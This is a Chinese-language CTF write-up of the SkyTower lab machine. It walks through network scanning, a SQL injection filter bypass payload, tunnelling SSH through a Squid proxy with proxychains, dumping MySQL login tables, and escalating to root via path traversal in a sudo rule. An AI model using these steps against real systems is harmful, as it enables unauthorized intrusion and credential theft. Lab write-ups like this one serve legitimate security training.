打靶日记 skytower

admin 2025年4月7日01:09:48评论8 views字数 1773阅读5分54秒阅读模式

一、探测靶机IP(进行信息收集)

arp-scan -l
打靶日记 skytower
nmap -sS -sV -T5 -p- 192.168.10.12 -A
打靶日记 skytower
nikto -h http://192.168.10.12
打靶日记 skytower
dirb http://192.168.10.12
打靶日记 skytower
dirsearch -u http://192.168.10.12
打靶日记 skytower

二、sql注入绕过

先尝试admin admin

打靶日记 skytower

在添加了一个单引号发现报错

打靶日记 skytower

admin# admin,#没报错

打靶日记 skytower

再尝试' or 1=1#,发现报错,返回'11#',将or和=都过滤掉了

打靶日记 skytower

尝试使用||代替or, admin' || 1=1#

打靶日记 skytower

成功得到一组账号密码:john hereisjohn 邮箱为[email protected]

打靶日记 skytower

三、getshell

尝试登录发现登不上,22端口ssh服务被过滤了

nmap 显示端口状态为 filtered:表示防火墙/网络设备拦截了探测包(如丢包或返回虚假响应)。

有可能用到端口敲门,但是这里并没有什么信息

3128****端口是 Squid代理服务器 的默认端口,用于HTTP/HTTPS流量的转发和缓存。

ProxyChains 的核心功能

  1. 代理链(Proxy Chaining):支持通过多个代理服务器(如 HTTPSOCKS4SOCKS5)串联转发流量。

  2. 动态切换代理:可配置动态代理链(自动切换代理路径)或静态代理链(固定路径)。

  3. 透明代理:对应用程序无感(无需修改应用代码),通过 LD_PRELOAD 技术劫持网络库调用

Squid代理简介: Squid 是一款广泛使用的开源HTTP代理缓存服务器,常用于加速Web请求、过滤内容或控制网络访问。

直接去连接ssh是会被过滤,这里3128端口可能是ssh的代理端口,所以我们尝试配置一个链接指向Squid代理服务器去向ssh服务器请求,这是大概率就不会被拦截了,代理服务器是和ssh在同一网段的,处于同一个内网环境,一开始的数据是由kali去发,现在是通过Squid代理服务器转发

sudo vim /etc/proxychains4.conf #翻到最下面
http 192.168.10.12 3128
打靶日记 skytower
proxychains ssh [email protected] -t "/bin/sh"

proxychains

  • 作用:强制让后续命令的流量通过代理服务器转发(如 HTTP/SOCKS 代理)。

  • 场景:当目标服务器(如 192.168.10.12)无法直接访问(例如存在防火墙限制),需要通过代理跳转时使用。

  • 依赖:需要提前在 proxychains.conf 配置文件中定义代理服务器的地址和类型(例如 socks5 或 http)。

  • -t参数:SSH 的 -t 表示 "强制分配伪终端(pseudo-TTY)"。这是为了确保交互式命令(如 Shell)能正常工作。

打靶日记 skytower

这里报错是因为我以前使用过192.168.10.12的ip

打靶日记 skytower

清理以前192.168.10.12的条目

ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.10.12"

确认 /root/.ssh/known_hosts 中无残留条目

再次尝试,登录成功

proxychains ssh [email protected] -t "/bin/sh"

由于为阿帕奇服务,默认根目录为var/www/,可以看到mysql的密码和账号为root root

打靶日记 skytower
mysql -u root -p
show databases;
use SkyTech
select * from login;
打靶日记 skytower

四、提权

得到两个新的用户和密码

[email protected] ihatethisjob

[email protected] senseable

发现第二个不能登录,密码有误,只有第一个可以登

proxychains ssh [email protected] -t "/bin/sh"

尝试sudo提权,发现可以以 root 身份无密码查看 /accounts/ 目录下所有文件的内容,可以以 root 身份查看/accounts/目录下的文件列表

打靶日记 skytower
sudo ls /accounts/../root/ 
sudo cat /accounts/../root/flag.txt

查看flag.txt发现root密码

打靶日记 skytower

Theskytower

提权成功

打靶日记 skytower

原文始发于微信公众号(泷羽Sec-临观):打靶日记 skytower

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日01:09:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   打靶日记 skytowerhttps://cn-sec.com/archives/3912427.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息